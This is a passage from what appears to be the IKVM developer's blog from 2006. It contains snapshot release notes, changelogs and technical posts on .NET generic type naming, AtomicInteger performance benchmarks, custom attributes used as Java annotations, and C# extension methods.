    </method>
  </implements>
</
class>

The ToString helper method is trivial:

public static String ToString(Double d, String format, IFormatProvider provider)
{
  return ((IFormattable)CIL.box_double(d.doubleValue())).ToString(format, provider);
}

Note that from the Java side this is mostly invisible (the exception being that you can now cast a java.lang.Double to cli.System.IFormattable, even though the interface is not visible thru reflection).

Changes:

  • Added workaround for mono bug.
  • Added support for specifying java class names in map.xml attribute parameters of type System.Type.
  • Added support to remapping infrastructure for adding interfaces to classes (invisible to Java code).
  • Made java.lang.Byte, Short, Integer, Long, Float and Double implement IFormattable (privately, so this is invisible to Java code).

Source is in cvs. Binaries: ikvmbin-0.31.2466.zip

10/2/2006 9:27:16 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, September 26, 2006

New Snapshot

More fixes and nio improvements and a regression fix.

Changes:

  • Fixed SocketChannel.close() (was broken in previous snapshot).
  • Added support to VMThread for custom interruptable code regions.
  • Implemented SocketChannel interruptability and asynchronous close.
  • Implemented ServerSocketChannel interruptability and asynchronous close.
  • Almost completely rewrote SelectorImpl to fix many bugs and implement interruptability.
  • Fixed PlainDatagramSocketImpl.receive() to ignore WSAECONNRESET errors.
  • Optimized SelectorImpl to not create a new wakeup socket for each select.
  • Fixed regression introduced in 0.31 that caused NullReferenceException if a class had explicitly defined write-only properties (specified in an xml mapping file).

Source is in cvs. Binaries: ikvmbin-0.31.2460.zip

9/26/2006 7:01:50 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, September 22, 2006

New Snapshot

More nio fixes. Azureus now works (sort of anyway). I also added a workaround for a bug in mcs that was exposed by my recent changes in the way final fields are handled.

Changes:

  • Added workaround for mcs bug.
  • More nio fixes. Selector now works much better. Lots more work still needed.

Source is in cvs. Binaries: ikvmbin-0.31.2456.zip

9/22/2006 7:59:08 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, September 20, 2006

New Snapshot

A new snapshot. Most significant change is the almost complete rewrite of the nio code, triggered by the GNU Classpath nio rewrite. The test coverage for nio is fairly abysmal, so hopefully I haven't introduced too many regressions. On the whole the new code should be equivalent to or better than the previous version, but there still remains a lot to be done.

Changes:

  • Updated to current GNU Classpath cvs version.
  • Fixed streaming sockets to support SO_REUSEADDR socket option.
  • Changed ikvmc -resource option to strip unnecessary leading slash from resource name.
  • More code restructuring.
  • Added tracing to assembly resource and class loading.
  • Fixed ikvmstub to export non-public outer classes when an inner class is exported.
  • Simplified "save debug image" code to emit ikvmdump.dll instead of ikvmdump.exe (the resulting file has not been executable for a while, so it made no sense to pretend it was).
  • Rewrite of nio socket support code.

Source is in cvs. Binaries: ikvmbin-0.31.2454.zip

9/20/2006 8:16:12 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, September 05, 2006

New Snapshot

A new snapshot with mainly bug fixes and code restructuring.

Changes:

  • Updated to current GNU Classpath cvs version.
  • Fixed Class.forName() regression introduced in 0.28. Doing a Class.forName() on a .NET type using the assembly qualified name wouldn't run the class initializer.
  • Fixed System.arraycopy() performance regression introduced in 0.31 for ikvmc compiled code.
  • Changed java.lang.ref.Reference not to use a WeakReference if the referent is a Class object (since IKVM doesn't support Class gc, it would be a waste).
  • Fixed java.lang.ref.Reference memory leak (a reference associated with a ReferenceQueue would stay around until the referent was GCed).
  • Changed ikvmc to "critical fail" if it triggers a TypeResolve event. If you encounter these, please report them.
  • Fixed stub generator to set inner class access flags correctly in outer class InnerClasses attribute. Previously javac didn't recognize the Annotation inner interface in .NET custom attribute classes as annotation because the annotation bit wasn't set in the outer class.
  • Regenerated mscorlib.jar and System.jar. Removed System.Xml.jar.
  • Fixed bug in VMObjectStreamClass.hasClassInitializer that could cause it to throw a System.NotSupportedException on an array type when the element type was an unfinished dynamic type.
  • Fixed a bug in the hack that looks up the TimeZone.
  • Added IsErased and IsDynamicOnly properties to TypeWrapper.
  • Changed delegate handling to no longer emit the Method interface, but instead use static binding to the target method when possible and otherwise generate dynamic code.
  • Introduced generic handling of DynamicOnly interfaces (both the "Method" and "Annotation" interfaces in respectively delegates and custom attributes are now represented as DynamicOnly types -- i.e. they are implemented entirely through reflection.)
  • Changed bytecode compiler to call ikvm.runtime.getClassFromTypeHandle instead of IKVM.Runtime.GetClassFromTypeHandle for ldc <class> to remove the need to downcast the resulting object to Class.
  • Moved compilation options from static properties of JVM class to instance properties of ClassLoaderWrapper.
  • Did a little cleanup/reorganization of ikvmc.
  • Patched runtime/MemberWrapper.cs to work around gmcs bug.
  • Patched awt/toolkit.cs to work around gmcs bug.
  • Moved AotTypeWrapper static fields to CompilerClassLoader instance fields.
  • Removed TypeWrapper.Assembly property.
  • Fixed WeakReference tracker to use a WeakTrackResurrection handle, to be able to enqueue weak references that are only reachable via a finalizer or are resurrected.
  • Changed file.encoding system property from hardcoded 8859_1 to using System.Text.Encoding.Default.WebName.

Source is in cvs. Binaries: ikvmbin-0.31.2439.zip

9/5/2006 7:17:14 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 21, 2006

New Snapshot

I fixed an ikvmstub regression introduced in the previous snapshot and fixed AssemblyClassLoader.getPackage[s]. I did some class file fuzzing and fixed most differences between JDK 1.5 and IKVM (most are trivial and only fixed to reduce the noise in the fuzz differences, but I also found a couple of real bugs).

Other changes:

  • Fixed runtime class loading to handle class loaders that return null or the wrong class.
  • Fixed Constructor to prevent instantiating Enum objects.
  • Fixed ikvmc not to stop with error when encountering invalid .class files. Also, when it encounters a .class file in a zip or jar that does not start with the Java class magic value it will include the .class file as a resource.
  • Improved ikvmc warnings about invalid classes to include the filename.
  • Fixed class file parser to correctly check the class file minor version.
  • Fixed field and method name validation in class file parser.
  • Fixed class file parser to check length of Deprecated attribute.
  • Fixed class file parser to check length of InnerClasses attribute when class file version is >= 49.
  • Fixed class file parser to always validate NameAndType constant pool entries.
  • Fixed class file parser to check for maximum method size of 65535 instead of 65536.
  • Fixed class file parser to check some properties of exception handler tables (instead of doing that at verification time).
  • Fixed reflection (Class.getDeclaredMethods) to throw ClassFormatError or VerifyError.
  • Fixed handling of inner class modifier flags to always use the flags from the inner classes attribute, except for the accessibility flags.
  • Fixed verifier/compiler to emit methods that throw ClassFormatError, instead of only VerifyError.
  • Fixed verifier to disallow exception handlers starting at bytecode offset zero.
  • Fixed verifier to better check invokeinterface.

Source is in cvs. Binaries: ikvmbin-0.31.2424.zip

8/21/2006 7:24:22 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, August 18, 2006

Breaking Changes

Now that 0.30 has been released, it's time to talk about the next version. While 0.30 was baking, I've made some significant changes. People sometimes ask me why the version number is so low, part of the reason is that I anticipate that I'll need to make breaking changes a couple more times.

Moved Runtime API to IKVM.GNU.Classpath.dll

To make the runtime API easier to use and to allow (potential) future changes that remove the need for IKVM.Runtime.dll to discover IKVM.GNU.Classpath.dll, I moved the public API of the runtime into IKVM.GNU.Classpath.dll. Now, IKVM.Runtime.dll still exposes a bunch of public types, but you should not use any of these, they are "undocumented" and only for use by ikvmc generated code and IKVM.GNU.Classpath.dll. They will also change in future versions.

Revisiting the ClassLoader per Assembly Idea

Over the past couple of years I've slowly come around on my initial decision to have all classes in assemblies appear to be loaded by the boot class loader. My initial reluctance was mostly due to the fact that using a ClassLoader per assembly would require violating the ClassLoader delegation model, but the success of OSGi (which does the same) demonstrates that this isn't such a big deal.

Here are some of the advantages:

  • Each assembly will be its own namespace, meaning that things like Class.forName() and Class.getResource() will be able to search the calling assembly first, so you won't get into class or resource name conflicts as easily.
  • It removes the need for the hack that returns the system class loader, instead of null, for statically compiled classes.
  • It allows for many operations to be more efficient.
  • It removes the need for pre-loading assemblies to make Class.forName() work, because the assembly class loader will be able to search all referenced assemblies (i.e. ikvmc's -reference option will be honored by the assembly class loader).
  • You will be able to take full advantage of .NET assembly namespace separation (i.e. multiple versions of a jar can be compiled and used in the same AppDomain, by different pieces of code).
  • It allows for a more natural integration of ReflectionOnly support (when running a .NET 2.0 build of ikvmc or ikvmstub).

I made a new snapshot that you can play around with to evaluate how the change will impact you. Please let me know, now's the time to convince me to change some of the details ;-)

Here's a full list of changes in this snapshot:

  • Changed class loader architecture to represent each .NET assembly with its own class loader.
  • Changed system class loader to the application entry assembly class loader (except if the java.class.path system property is explicitly set, then you get a URL class loader that loads from the specified class path).
  • Ported stub class generator from C# to Java and incorporated it into IKVM.GNU.Classpath.dll.
  • Hooked up assembly class loader resource loading with stub generator, to support loading .class stub files for .NET and statically compiled classes.
  • Changed ikvmstub to create stub classes by simply loading them as resources.
  • Removed IKVM.Runtime.Util methods that existed for ikvmstub.
  • Fixed runtime/ikvmc to no longer depend on the CLR interning string literals.
  • Runtime no longer locks the class loader instance before calling loadClass.
  • Removed old mono bug work arounds from jni code.
  • Class.getProtectionDomain() now returns a more meaningful ProtectionDomain (including a CodeSource) for statically compiled Java code and .NET assemblies.
  • Moved VMSystem.setIn/setOut/setErr implementation from C# to Java.
  • Changed the way final instance fields are handled (added a private setter method to the property) to remove the need for the runtime to correlate the field with the property.
  • Fixed final field property accessor generator to make sure that the generated method name doesn't clash with other methods.
  • Moved IKVM.Runtime public API to IKVM.GNU.Classpath (and renamed to namespace and method names to follow Java naming convention).
  • Set system property to disable usage of Graphics 2D by Swing implementation.
  • Added java.vendor.url.bug, java.runtime.name and java.runtime.version system properties.

Source is in cvs. Binaries can be downloaded here: ikvmbin-0.31.2421.zip

8/18/2006 11:09:00 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]

IKVM 0.30 Released

I released 0.30 (same bits as last week's rc1) to SourceForge.

8/18/2006 10:02:31 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 10, 2006

IKVM 0.30 rc1

Here's the release candidate. Updated japi results are available here.

Changes since previous snapshot:

  • Integrated GNU Classpath 0.92.
  • Fixed ikvmc to handle constructorless classes correctly.
  • Fixed a couple of FileChannelImpl bugs.

Files are available here: ikvm-0.30.0.0.zip (sources + binaries), ikvmbin-0.30.0.0.zip (binaries), ikvmbin-generics-0.30.0.0.zip (binaries built from generics branch)

8/10/2006 10:38:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 03, 2006

New Snapshot

I'm preparing for the 0.30 release and this time I decided to do things a little more structured, so I made a branch in cvs: v0_30. I checked out the code into a clean directory changed allsources.lst and classpath.build to point to a clean check out of the GNU Classpath 0.92 release branch (Note that 0.92 has not yet been released) and ran the build script.

The resulting binaries are available here. Note that even though the directory inside the zip is ikvm-0.30.0.0, this is not yet 0.30, but instead should be considered a development snapshot and the binaries are unsigned and have version 0.29.*.

Please test this version and report any bugs, now's the time to get them fixed before 0.30 is released!

Here's what's new:

  • Integrated GNU Classpath 0.92-pre
  • Implemented java.util.concurrent.atomic.AtomicInteger, AtomicIntegerArray, AtomicReference, AtomicReferenceArray, java.util.concurrent.locks.LockSupport and the sun.misc.Unsafe and sun.reflect.Reflection classes required by java.util.concurrent.
  • Added support for Thread parking (as required by j.u.c.l.LockSupport) to VMThread.
  • Added support for ldind.ref, stind.i2, stind.i4, stind.ref and ldelema CIL instruction to remapper.
  • Fixed volatile long/double access to be atomic.
  • Implemented VM specific part of RuntimeMXBean.
  • Implemented VMNetworkInterface using System.Management (via reflection to make sure the code continues to "work" on Mono which doesn't have a System.Management implementation) based on code submitted by Rich Naylor.
  • Implemented DatagramSocket multicast join/leave [implemented by Rich Naylor]
  • Added exception handler to app.config settings reading to ignore exceptions when app.config is invalid.
  • Added support to ikvmstub to generate annotations for custom attributes (but support is limited to a few simple custom attribute signatures currently).
  • Moved assembly attributes from map.xml to AssemblyInfo.java
  • Moved ThreadStatic and DllImport attributes from map.xml to source.
  • Added support for applying assembly attributes (by way of the "assembly" placeholder class).
  • Fixed IsSideEffectFreeStaticInitializer to handle unused class literals and invalid class files.
  • Removed -Xbootclasspath support (it wasn't compatible with Sun and the implementation was very hacky).
  • Cleaned up ikvmstub class loading.
  • Fixed ReflectionOnly (when compiling for WHIDBEY target) bug when handling generic byref method parameters.
  • Fixed DynamicClassLoader.CreateModuleBuilder() to have it return the ikvmc target assembly instead of creating a new assembly.
  • Centralized array type construction.
  • Fixed cli.System.Void.class literal to yield cli.System.Void instead of void type (this also fixes ikvmstub to generate cli.System.Void instead of void when processing mscorlib).
  • Restructured class loading to remove DynamicClassLoader subclass and use delegation instead.
  • Fixed Socket and DatagramSocket to ignore timeout on write operations (reported by David Pirkle).
  • Fixed Socket and DatagramSocket to throw UnknownHostException when dealing with an unresolved SocketAddress.
  • Fixed VMFile.mkdir not to throw exception when trying to create an invalid directory name.
  • Fixed ArrayIndexOutOfBoundsException when trying to load class named "[[".
  • Fixed VMStackWalker.getClassContext() to skip one less frame [this fix makes Eclipse 3.2 start up].
  • Added a hack to prevent the x64 JIT from doing tail call optimizations.
  • Changed IKVM.GNU.Classpath.dll build script to use classpath.security file from GNU Classpath instead of ikvm specific version.
  • Much improved ReflectionOnly support (WHIDBEY target only).
  • Added a CompilationRelaxations assembly attribute to fix a bug that occurred when IKVM.Runtime.dll or ikvmc.exe were NGENed. The code relies on string literals being interned by the CLR, but starting with .NET 2.0 the C# compiler by default annotates the assemblies it generates with the CompilationRelaxations(CompilationRelaxations.NoStringInterning) attribute.
  • Relaxed class name restrictions for 1.5 class files.
  • Added support for Java classes with a Finalize() method (there was a know bug that the generated Finalize stub that calls the real finalize() method would conflict with a user defined Finalize() method).
  • Removed IkvmStubMode hack.
  • Changed naming and loading of CLR generic types.
  • Implemented the remaining 1.5 methods in java.lang.Class.
  • Added consistency checks to Class.getDeclaringClass() and Class.getDeclaredClasses().
  • Simplified loading of "manufactured" nested classes (i.e. the nested Method interface in delegates and the Annotation annotation in attributes).
  • Changed generic type instantiations to have a custom class loader that delegates to the class loaders that were used to create the type (at least when there are no type name clashes).
  • Cleaned up warning generation in ikvmc and added -nowarn option to suppress specific warnings.
  • Fixed volatile read/write on WHIDBEY target build of ikvmc.
  • Made array type construction more lazy. Constructing large dimensional array types is now much faster.
  • Changed ClassLoader.findLoadedClass() to be compatible with 1.5 instead of 1.4 (i.e. it no longer creates new array types).
  • Fixed compiler to mark methods that use getstatic/putstatic on fields in another class as not inlineable (because the instructions are effectively a method call when they trigger the static initializer).
  • Fixed compiler to mark methods that use dynamic getstatic/putstatic/getfield/putfield instructions as not inlineable.
  • Improved optimization in compiler that omits line number table from methods that cannot throw exceptions. It now understands that getfield/putfield on the this reference and getstatic/putstatic on the current class cannot throw.
  • Fixed a bug in exception handling that could cause a TypeInitializationException to turn into a ClassCastException.
  • Added cause exception to NoClassDefFoundError that gets thrown when a type that failed its static initializer is accessed again.

8/3/2006 6:31:36 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, August 01, 2006

.NET Generic Types

Recently I changed the way .NET generic types are handled by IKVM. The previous scheme was based on a naive mangling of the .NET Type.FullName property, but that turned out to be problematic for various reasons. The first obvious reason was that type names often were way too long for comfort. For example:

Type t = typeof(System.Collections.Generic.List<string>);
Console.WriteLine(t.FullName);
Console.WriteLine(((java.lang.Class)t).getName());

With IKVM 0.28 this prints out:

System.Collections.Generic.List`1[[System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]
cli.System.Collections.Generic.List$$00601$$005B$$005B System$$002EString$$002C$$0020mscorlib$$002C$$0020 Version$$003D2$$002E0$$002E0$$002E0$$002C$$0020 Culture$$003Dneutral$$002C$$0020 PublicKeyToken$$003Db77a5c561934e089$$005D$$005D


(I manually inserted some spaces to make the HTML wrap.)

This obviously isn't very practical, but there is also a deeper problem. This literal translation of the name misses the fact that class loading in .NET is fundamentally different from class loading in Java. Which means that it is easy to go from Type to class name, but given a class name it is much harder to construct the corresponding type, especially if on or more of the type parameters are Java types (or remapped types).

In the next release the class name will be:

cli.System.Collections.Generic.List$$00601_$$$_Ljava__lang__String_$$$$_

Not only more readable, but it also correctly reflects the fact that System.String is known as java.lang.String on the Java side.

I also changed the way these names are resolved to be more inline with the way Java works. The name is now parsed by the class loader that first tries to load the class which then in turn loads the component classes and constructs the generic type from that. This means that the following code will now work (if you can somehow convince your Java compiler to compile it):

import cli.System.Collections.Generic.*;

class Test
{
  public static void main(String[] args)
  {
    List$$00601_$$$_LTest_$$$$_ list = new List$$00601_$$$_LTest_$$$$_();
    list.Add(new Test());
  }
}


With the previous scheme there was no way to refer to the Test class in the generic class name, but now the correct class loader is used so you can refer to Java classes as well. That leaves only one question, what does list.getClass().getClassLoader() return? Well, for the time being I've decided to automatically construct a class loader that delegates to the defining class loaders of the classes used to construct the generic type, this ensures (as long as no types with the same names are used) that all types used in the definition of the generic type instance can be loaded by its class loader. It isn't actually clear to me that this is required, but at least for the time being it is, because some of the reflection code relies on this fact.

Finally, as a reminder, all this stuff is still experimental and, frankly, not intended to be practical. The main reason this support exists is to make the life of reflection/ikvmstub easier, otherwise the runtime would have to have all sorts of complicated support to deal with field types and method parameter/return types that take generic type instantiations.

8/1/2006 3:11:32 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, July 24, 2006

JaCIL

Almann Goo released version 0.6.0.0 of JaCIL on Saturday. The goal of JaCIL is basically to be a reverse ikvmc, it converts .NET assemblies into Java jars.

The binary distribution includes a couple of demos. Naturally I had to try and run them on IKVM :-) I ran into two known IKVM bugs, the first being that JaCIL generates a class and prior to Java 1.5 this wasn't a valid class name, but since Java 1.5 the class name space has been significantly enlarged, almost all checks have been removed. The second bug was that Java classes with both a Finalize() and finalize() method would be compiled incorrectly (under the covers IKVM generates a Finalize() method that overrides System.Object::Finalize and calls java.lang.Object::finalize), I've added support for this by renaming the generated Finalize method when it is necessary.

JaCIL isn't yet at the point where it can compile the ikvmc generated assembly[*], but maybe we'll eventually be able to run Java on .NET on Java on .NET on Java on .NET on Java... ;-)

[*] If you try it, you'll likely to run into an IKVM limitation. JaCIL is a .NET application and uses an ikvmc compiled version of ObjectWeb ASM and currently, IKVM.Runtime.dll gets confused if multiple versions of IKVM.GNU.Classpath.dll are loaded in the AppDomain.

7/24/2006 2:18:39 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, July 12, 2006

Eclipse 3.2 x64

The Eclipse 3.2 release also includes an "early access" version for Windows x64 (among other 64 bit platforms), so I decided to try to run this version on IKVM.

While trying this I discovered a bug in the 64 bit version of the CLR. It doesn't respect MethodImpl(MethodImplOptions.NoInlining) and this means that Eclipse fails to start up, because it still does that weird stack walking to make sure that a particular method is called by the expected caller. BTW, instead of using the stack trace from an exception, they now use a subclass of SecurityManager and call getClassContext on that. That mechanism is a little better, but it is still incredibly lame.

The good news is that after adding a hack to IKVM to insert some extra junk in that particular method that prevents it from being inlined, Eclipse 3.2 x64 seems to run fine on IKVM.

Coincidentally, Eclipse 3.2 doesn't work on IKVM 0.28.0.1, because my implementation of getClassContext returned one stack frame too few (the GNU Classpath VMStackWalker interface is somewhat inconsistent, the other two methods in it both skip two frames, but getClassContext is apparantly only supposed to skip one frame).

Update: I got an e-mail from someone on the CLR team and he explained that the observed behaviour is by design. The method is not inlined, but the JIT optimizes the call into a tail call, thereby removing the stack frame from the call stack. Strictly speaking this is indeed a legal optimization, but I have to say I don't really see the point, if I wanted a tail call I would have used the tail call instruction.

7/12/2006 4:59:45 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, July 05, 2006

Eclipse Java Compiler

The recent Eclipse 3.2 release includes a release of the stand alone Eclipse Java Compiler (they call it the JDT Core Batch Compiler). It is available as ecj.jar.

I switched to using this version for building GNU Classpath. If you want to use the same version, simply download ecj.jar and run it through ikvmc.

7/5/2006 5:23:41 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 15, 2006

Custom Attributes as Annotations

I implemented partial and experimental support for applying .NET Custom Attributes in Java code as annotations. The following example now works:


import cli.System.Runtime.InteropServices.DllImportAttribute;

class beep
{
  @DllImportAttribute.Annotation("kernel32")
  private static native int Beep(int dwFreq, int dwDuration);

  public static void main(String[] args)
  {
    for (int i = 1000; i < 3000; i += 200)
      Beep(i, 50);
  }
}

I realise that the name of the annotation type is a bit ugly, but it's consistent with the way delegates are handled and it enables efficient handling of custom attributes at runtime (when compiling code in dynamic mode) and doesn't require access to the ikvmstub generated stub classes.

At the moment only attributes that have a zero arg or single string arg constructor are supported and attribute fields or properties are not exposed.

The Annotation inner interface cannot be used for anything except annotating. If you try to implement it or declare variables or parameters of its type, you will get internal errors in IKVM.Runtime.dll (because there is no corresponding .NET type). I will probably fix this at some point, but for now simply don't use that type except for annotating.

Finally, even though the Annotation annotation type is marked as Retention(RetentionPolicy.RUNTIME), it won't be visible through Java reflection. It's complicated to make this work and the value of it is limited. As an alternative, you can use .NET reflection to access the custom attributes.

6/15/2006 2:31:25 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 08, 2006

More AtomicInteger Performance

In my previous entry on AtomicInteger I showed timings on my single CPU ThinkPad which has a 1.7 GHz Pentium M. Today I investigated the performance on my iMac which has a 1.83 GHz Core Duo and like the ThinkPad runs Windows XP SP2.

I've also modified AtomicInteger to take advantage of Interlocked.Increment, Decrement and Exchange. Instead of following the reference implementation which builds everything on top of the compareAndSet operation.

Running the same test produces the following numbers:

  Time (ms)
JDK 1.5 HotSpot Server VM

2282

JDK 1.5 HotSpot Client VM

2922

IKVM

2406

C#

1922


Note that the test is significantly slower than on the Pentium M. This is most likely because of the bus locking overhead.

It gets even more interesting when we modify the test to have two threads that concurrently increment the same field:

  Time (ms)
JDK 1.5 HotSpot Server VM

22563

JDK 1.5 HotSpot Client VM

25109

IKVM

15016

C#

12000

The first thing to note is the fact that the test now takes an order of magnitude more time. Presumably, this is caused by the communication overhead between the two cores.

The second is that here IKVM significantly outperforms HotSpot Server. The reason for this is simple: IKVM uses Interlocked.Increment which ultimately uses the XADD x86 instruction that atomically performs the load/increment/store. By contrast, the AtomicInteger reference implementation uses the following loop to increment the value:

public final int incrementAndGet() {
    for (;;) {
        int current = get();
        int next = current + 1;
        if (compareAndSet(current, next))
            return next;
    }
}

When another thread updates the field between the get and compareAndSet, the compareAndSet will fail and the loop will have to run for another iteration. When multiple CPUs are continuously trying to increment the value this is likely to happen relatively frequently.

Standard disclaimer: As always these microbenchmarks are designed to magnify a particular effect. Be careful about drawing overly large conclusions from them.

6/8/2006 9:08:01 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, June 01, 2006

IKVM 0.28 bug fix release

A new 0.28 release to fix two bugs reported by users. The first bug is a regression that caused native method resolution not to work for statically compiled code and the second bug is that instanceof didn't work with ghost interface arrays (e.g. obj instanceof Serializable[] would cause the runtime to abort). No other changes.

Files are available here: ikvm-0.28.0.1.zip (sources + binaries), ikvmbin-0.28.0.1.zip (binaries), ikvmbin-generics-0.28.0.1.zip (binaries built from generics branch)

6/1/2006 9:48:05 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, May 30, 2006

java.util.concurrent.atomic.AtomicInteger

Last week Tom Tromey posted a proposal for a patch to the Classpath patches mailing list for JSR-166 support. Triggered by this I did some preliminary investigation to see how much work it will be to support this in IKVM.

The reference implementation uses the sun.misc.Unsafe class to calculate the offset of a field in a class and to directly access this field using the appropriate memory model semantics. HotSpot has intrinsic support for the performance cricitical methods in sun.misc.Unsafe. Unfortunately, this model isn't very suitable for IKVM, because the CLI does not specify a way to portably obtain the offset of a field in a class (and it even allows the offset to change over time). I've implemented all the required methods in sun.misc.Unsafe based on reflection, but obviously this is very slow (preliminary measurements show a 10x to 100x slowdown compared to JDK 1.5).

The good news is that some important classes can easily be ported to a more CLI friendly approach. As an example I've modified the reference implementation of AtomicInteger to use System.Threading.Interlocked.CompareExchange() instead of sun.misc.Unsafe.compareAndSwapInt(). This is a small change and allows for good performance. Here is the benchmark I used:

import java.util.concurrent.atomic.*;

public class test {
static AtomicInteger foo = new AtomicInteger(0);
public static void main(String[] args) {
long start = System.currentTimeMillis();
for (int i = 0; i < 100000000; i++) {
foo.incrementAndGet();
}
long end = System.currentTimeMillis();
System.out.println(end - start);
System.out.println(foo);
}
}

Here are the timings (IKVM and C# timings on Microsoft .NET Framework 1.1):

  Time (ms)
JDK 1.5 HotSpot Server VM

861

JDK 1.5 HotSpot Client VM

1312

IKVM

1543

C#

1452


I included the C# version for comparision. Here is the source for it:

using System;
using System.Threading;

public class test {
static int foo;
static void Main() {
int start = Environment.TickCount;
for (int i = 0; i < 100000000; i++) {
Interlocked.Increment(ref foo);
}
int end = Environment.TickCount;
Console.WriteLine(end - start);
Console.WriteLine(foo);
} }

Note how much easier the C# programming model is. Given support for managed by ref arguments, there is no need for an extra indirection or hacks like sun.misc.Unsafe.

5/30/2006 12:27:17 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, May 23, 2006

IKVM 0.28 Released

I released 0.28 (same bits as last week's release candidate) to SourceForge.

5/23/2006 1:30:32 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, May 16, 2006

Using foreach to enumerate Java collections in C# 3.0

A long standing feature request for IKVM has been to make Java collections implement System.IEnumerable and I've always resisted doing that for various reasons.

I while ago -- while discussing this with Stuart Ballard -- I realised that with the proposed C# 3.0 language extensions, in particular "extension methods" it should be possible to make Java collections foreach-able with little effort:

namespace java.util
{
  public static class CollectionExtensionMethods
  {
    public static IEnumerator GetEnumerator(this java.util.Collection col)
    {
       return new CollectionEnumerator(col);
    }
  }
}

For those who don't know how extension methods work, basically the above code (note the this keyword before the argument type) adds a method to java.util.Collection that feels like an instance method.

Given the way foreach works, I had expected that it too would recognize this GetEnumerator method and therefore work on all Java collections, but alas that is not the case.
If you want to see this changed before C# 3.0 is released, please vote. Alternatively, if you're Miguel and on the ECMA C# committee, it should be obvious what to do ;-)

5/16/2006 3:03:28 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

IKVM 0.28 rc1

A new release candidate based on GNU Classpath 0.91. I did some perf work and a fair bit of restructuring in the way class loaders work, to better support ikvmc and ikvmstub on assemblies loaded in the ReflectionOnly context (on .NET 2.0). The perf work resulted in a significantly improved startup time for Eclipse (IKVM 0.26: 1 minute 23 seconds, IKVM 0.28: 55 seconds).

Updated japi results are available here. The comparison is against JDK 1.5 now and ignores the generics metadata.

Changes:

  • Integrated GNU Classpath 0.91 plus one patch.
  • Added explicit null check for return value of GetEntryAssembly() in VMSystemProperties.
  • Implemented socket timeout by using Socket.Poll() instead of setting the timeout on the underlying socket (because .NET 2.0 considers the socket broken after a Read timed out).
  • Removed classLoader field from TypeWrapper and made GetClassLoader() abstract (to enable subclasses to use a more efficient way to store the class loader).
  • Moved creation of java.lang.Class object from TypeWrapper constructor (because it would trigger a call to GetClassLoader before that was ready to return meaningful data and also because it wasn't semantically correct to expose the TypeWrapper instance before it was fully constructed).
  • Added ikvm.lang.Internal annotation to mark types and members as internal to the assembly (supported by ikvmc only, not in dynamic mode.) Note that ikvm.lang.Internal should only be applied to public types and members. Note also that to reflection these internal types and members will appears as package private.
  • Removed map.xml hacks to work around cross package accessibility issues (now done by marking the appropriate types/members public and annotating them with @ikvm.lang.Internal).
  • Added map.xml implementation of Class.newInstance (to support @ikvm.lang.Internal).
  • Changed ClassFile to pack major version and flags together to reduce the size of the object.
  • Changed ClassFile.FieldOrMethod to pack flags together.
  • Simplified (and made more consistent) member access checking in reflection.
  • Added -privatepackage option to ikvmc (to mark all classes in a package tree as internal).
  • Fixed object model remapping to add methods inherited from Object to Throwable.
  • Fixed some edge cases in method override resolution.
  • Added optimization to compiler to devirtualize method calls on this reference when it is safe to do so.
  • Added volatile opcode prefix to remapper.
  • Added support for specifying .NET types in catch block to remapper.
  • Made 1.5 support part of the standard build.
  • Restructed ikvmc.exe and IKVM.Runtime.dll.
  • Centralized caching of ByteCodeHelper MethodInfos in ByteCodeHelperMethods.
  • Fixed Thread.join() bug that caused join to spin for large timeouts.
  • Added optimization to not emit linenumbertable for methods that cannot throw exceptions.
  • Much improved annotation support.
  • Fixed ikvmc to only generate corresponding .NET attributes for annotations that have RetentionPolicy.RUNTIME.
  • Fixed ikvmc to add AttributeUsageAttribute to annotation attributes (based on the Target annotation).
  • Optimized verifier a little by making InstructionState use copy-on-write strategy.
  • Changed string comparisons to ReferenceEquals when possible (identifiers are interned, so this is usually possible).
  • Improved VMStackWalker.getCalling[Class|ClassLoader] performance by removing the unnecessary check for HideFromJava/HideFromReflection attributes.
  • Almost completely removed usage of custom attributes for dynamically compiled code (because defining custom attributes is slow).
  • Fixed race condition when two threads define the same class name in two different class loaders at the same time.
  • Fixed possible deadlock while finishing dynamically loaded types.
  • Fixed bug in Class.getModifiers() for statically compiled anonymous inner classes.
  • Moved loading .NET types by their assembly qualified names from the class loader to Class.forName.
  • Fixed class loader not to load Java classes, by their .NET array, pointer or reference name.
  • Moved hack to return system class loader for .NET and statically compiled types from [Compiled|DotNet]TypeWrapper to Class.getClassLoader.

Files are available here: ikvm-0.28.0.0.zip (sources + binaries), ikvmbin-0.28.0.0.zip (binaries), ikvmbin-generics-0.28.0.0.zip (binaries built from generics branch)

5/16/2006 11:06:10 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, April 06, 2006

@ikvm.lang.Internal

Hopefully someday Java will support more than the current simplistic scheme where classes are either public or non-public. In the meantime, I've added support to ikvmc for marking classes (and members) as internal (i.e. private to the assembly they live in). By marking a public class with the @ikvm.lang.Internal annotation ikvmc (and IKVM.Runtime.dll) will only allow access to the class by other code also living in the same assembly. I've also added a switch to ikvmc for making an entire package tree internal (the switch is named -privatepackage:<prefix>).

